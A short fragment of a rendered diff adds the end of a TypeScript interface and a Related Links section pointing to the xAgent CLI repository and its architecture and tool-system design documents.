params: any;
|
|
274
|
+
timestamp: number;
|
|
275
|
+
}
|
|
276
|
+
```
|
|
277
|
+
|
|
278
|
+
## Related Links
|
|
279
|
+
- [xAgent CLI GitHub](https://github.com/xagent-ai/xagent)
|
|
280
|
+
- [Architecture Overview](./docs/architecture/overview.md)
|
|
281
|
+
- [Tool System Design](./docs/architecture/tool-system-design.md)
|